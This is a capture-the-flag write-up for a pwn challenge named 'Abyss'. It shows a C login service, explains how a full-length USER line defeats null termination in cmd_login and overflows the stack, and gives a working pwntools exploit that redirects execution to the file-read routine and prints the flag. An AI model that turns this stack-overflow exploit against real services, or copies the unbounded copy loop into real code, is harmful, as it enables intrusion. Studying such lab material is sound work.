Abyss

1) Checked the source code

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

#define MAX_ARG_SIZE    512
#define CRED_FILE       ".creds"

enum {
    LOGIN = 0,
    READ,
    EXIT,
};

int logged_in = 0;
static char VALID_USER[64];
static char VALID_PASS[64];

void cmd_login()
{
    char pass[MAX_ARG_SIZE] = {0};
    char user[MAX_ARG_SIZE] = {0};
    char buf[MAX_ARG_SIZE];
    int i;

    memset(buf, '\0', sizeof(buf));
    if (read(0, buf, sizeof(buf)) < 0)
        return;

    if (strncmp(buf, "USER ", 5))
        return;

    i = 5;
    while (buf[i] != '\0')
    {
        user[i - 5] = buf[i];
        i++;
    }
    user[i - 5] = '\0';

    memset(buf, '\0', sizeof(buf));
    if (read(0, buf, sizeof(buf)) < 0)
        return;

    if (strncmp(buf, "PASS ", 5))
        return;

    i = 5;
    while (buf[i] != '\0')
    {
        pass[i - 5] = buf[i];
        i++;
```

```
    }
    pass[i - 5] = '\0';

    if (!strcmp(VALID_USER, user) && !strcmp(VALID_PASS, pass))
    {
        logged_in = 1;
        puts("Successful login");
    }
}

void cmd_read()
{
    int fd;
    int ret;
    char buf[MAX_ARG_SIZE] = {0};

    if (!logged_in)
    {
        puts("Not logged in");
        return;
    }

    if (read(0, buf, sizeof(buf)) <= 0)
        return;

    fd = open(buf, O_RDONLY);
    if (fd < 0)
    {
        perror("open");
        return;
    }

    ret = read(fd, buf, sizeof(buf));
    if (ret < 0)
    {
        perror("read");
        close(fd);
        return;
    }

    write(1, buf, ret);
    close(fd);
}

int main()
{
    int cmd;
    int fd;
    char buf[4096] = {0};
    char *tok;

    fd = open(CRED_FILE, O_RDONLY);
    if (fd < 0)
    {
        perror("open");
        puts("Does " CRED_FILE " exist?");
        return 1;
    }
```

```
    if (read(fd, buf, sizeof(buf)) == 0)
    {
        puts("Credential file empty");
        close(fd);
        return 1;
    }

    close(fd);

    if (buf[strlen(buf) - 1] == '\n')
        buf[strlen(buf) - 1] = '\0';

    tok = strchr(buf, ':');
    if (tok == NULL)
    {
        puts("Invalid credential format");
        return 1;
    }

    if (tok - buf > sizeof(VALID_USER) - 1)
    {
        puts("Username too long");
        return 1;
    }

    if (strlen(tok + 1) > sizeof(VALID_PASS) - 1)
    {
        puts("Password too long");
        return 1;
    }

    *tok = '\0';
    strcpy(VALID_USER, buf);
    strcpy(VALID_PASS, tok + 1);

    while (1)
    {
        if (read(0, &cmd, sizeof(cmd)) != sizeof(cmd))
            return 1;

        switch (cmd)
        {
            case LOGIN:
                cmd_login();
                break;
            case READ:
                cmd_read();
                break;
            case EXIT:
                return 0;
            default:
                puts("Invalid command");
                break;
        }
    }

    return 0;
}
```

2) Note:
i) The vulnerability is in cmd_login function
ii) We can give full buf input to overwrite null byte which lets us to overflow using the loop
iii) The exploit requires thorough debugging

3) Exploit:

```
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./abyss_patched")
libc = ELF("x86_64-linux-gnu/libc.so.6")
ld = ELF("x86_64-linux-gnu/ld-linux-x86-64.so.2")
context.binary = exe

# io = gdb.debug(exe.path, 'b* 0x401786\nb* 0x40132c\nc\nb* 0x040142c\nc')
io = remote('94.237.54.201', 49895)
target = 0x4014eb

# login
io.send('\x00\x00\x00\x00'.encode())
# io.send(b'USER '+b'\x01'*22+b'\x1c'*5+b'\x01'*494)
# io.send(b'PASS '+b'\x01'*507)
io.send(b'USER
'+b'\x1c'*18+b'Aa0Aa1Aa2Aa'+b'\xeb\x14\x40\x00\x00\x00\x00\x00'+b'\x00'*(507-37
))
io.send(b'PASS '+b'\x01'*507)
io.send(b'flag.txt'+b'\x00'*0x198)
#1035

io.interactive()
```

4) Flag:

```
┌──(vigneswar㉿VigneswarPC)-[~/Abyss/pwn_abyss/challenge]
└─$ python3 solve.py
HTB{nUlL_t3rmIn4t1on_1s_k3y!}
$
```